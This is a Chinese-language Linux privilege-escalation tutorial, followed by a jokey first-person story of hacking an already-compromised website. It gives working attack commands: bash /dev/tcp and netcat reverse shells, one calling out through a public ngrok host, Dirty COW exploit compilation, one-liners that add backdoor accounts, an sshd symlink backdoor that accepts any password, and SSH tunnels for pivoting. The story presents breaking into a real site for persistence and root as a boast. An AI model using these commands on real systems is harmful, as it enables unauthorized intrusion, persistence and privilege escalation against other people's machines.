Linux提权思路
首先关于Linux提权我们得先明白几个概念。
linux发行版本
是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:
linux内核
Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
linux内核版本的分类
Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
第一个组数字:目前发布的内核主版本。
第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
第三个组数字:错误修补的次数。
说到内核提权就得提到脏牛了,这里先放一放,讲讲常规思路。
查看发行版本
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
root@kali:~# uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
这样我们就得到了系统的内核版本
可以用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
searchsploit linux Debian 4
如果手里只有webshell可以利用反弹shell来得到一个shell
首先我们得有一个netcat
开启本地监听
# 开启本地8080端口监听,并将本地的bash发布出去。
nc -lvvp 8080 -t -e /bin/bash
直接连接目标主机
nc 192.168.1.1 8000
bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。
(1) bash反弹一句话
bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
本地 nc -l -p 8080
(2)bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
具体各种反弹shell方式可参照安全客linux各种一句话反弹shell总结https://www.anquanke.com/post/id/87017
参考链接:https://blog.csdn.net/DarkHQ/article/details/79222879
POC:https://github.com/FireFart/dirtycow
利用gcc编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
反弹shell
python 一句话获取标准shell
python -c "import pty;pty.spawn('/bin/bash')"
命令详解:python 默认就包含有一个pty的标准库
linux 一句话添加账号
(1)chpasswd 方法
# useradd guest;echo 'guest:123456'|chpasswd
(2)useradd -p 方法
# useradd -p `openssl passwd 123456` guest
(3)echo -e 方法
# useradd test;echo -e "123456n123456n" |passwd test
没有外网IP的我只能搞内网映射了
参考链接http://tieba.baidu.com/p/4604965053
官网地址https://ngrok.com/
注册一个账号设置好
./ngrok tcp 9999
获得一个公网地址
screen命令
语法
screen [zxsq-anti-bbcode--AmRvx -ls -wipe][zxsq-anti-bbcode--d <作业名称>][zxsq-anti-bbcode--h <行数>][zxsq-anti-bbcode--r <作业名称>][zxsq-anti-bbcode--s ][zxsq-anti-bbcode--S <作业名称>]
选项
-A 将所有的视窗都调整为目前终端机的大小。
-d <作业名称> 将指定的screen作业离线。
-h <行数> 指定视窗的缓冲区行数。
-m 即使目前已在作业中的screen作业,仍强制建立新的screen作业。
-r <作业名称> 恢复离线的screen作业。
-R 先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
-s 指定建立新视窗时,所要执行的shell。
-S <作业名称> 指定screen作业的名称。
-v 显示版本信息。
-x 恢复之前离线的screen作业。
-ls或--list 显示目前所有的screen作业。
-wipe 检查目前所有的screen作业,并删除已经无法使用的screen作业。
常用screen参数
screen -S yourname -> 新建一个叫yourname的session
screen -ls -> 列出当前所有的session
screen -r yourname -> 回到yourname这个session
screen -d yourname -> 远程detach某个session
screen -d -r yourname -> 结束当前session并回到yourname这个session
例子
#创建名称为 ssh的回话
screen -S lego
#连接ngrok
./ngrok tcp 9999
#退出到命令行
ctl+A+D
#查看回话
screen -ls
#登录到我刚刚创建的ssh
screen -r lego
ssh相关
Linux后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
经典后门。直接对sshd建立软连接,之后用任意密码登录即可
ssh -o "StrictHostKeyChecking no" -o UserKnownHostsFile=/dev/null -T -fND 192.168.0.110:8888 [email protected] -o 31337
ssh -o "StrictHostKeyChecking no" -T -fNR 8888:192.168.0.110:8888 proxy@公网ip
编程玩的在好,我也不能写出完美的爱情
渗透玩的在强,我也不能提权进你的心
免杀玩的在狠,我也过不了你的主防御
纵使我多么的不可一世,也不是你的admin
会的再多又怎么样?没有了你,我就是一无所有
身为一名黑阔,
总是会不进想起前辈们的中美黑客大战。
物是人非事事休,
欲语泪先流。
想起那时候的一个个黑页,
内心突然澎湃了起来。
放我出去,我要日站。
身为一名黑阔,我明白我的责任所在。
就在这时,我盯上了一个之前早已沦陷的站。
就在这一刻我明白,肩上扛负着什么---抗韩从日站做起。
挂黑页 脱裤子 已经满足不了我了。
我需要的是你的所有。
提权
有了webshell之后,我看了一下我的权限。
不够不够不够。我需要的是你的root。
看发行版本,看内核。
原来是古物。
脏牛走起
提权成功。
但是由于菜刀的webshell并非是真实的shell,我无法切换到root用户。
所以我要反弹shell出来。
内网映射
身为一名黑阔,突然发现我竟然连个外网IP都没有。
在成为一名黑阔的路上,有条件要上,没有条件创造条件也要上。
没有外网就内网映射
我在https://ngrok.com/上注册了一个账号
ngrok启动
反弹shell
bash -i >& /dev/tcp/0.tcp.ngrok.io/15234 0>&1
kali上 nc -l -p 9998
然后再获得一个标准shell
python -c "import pty;pty.spawn('/bin/bash')"
切换到DarkHQ
看看权限
这个时候我是SSH是连不上去的,因为他禁了root权限登入ssh,所以我新建了一个用户
即上面那句
useradd guest;echo 'guest:123456'|chpasswd
ssh连上普通账户
再切换到root账户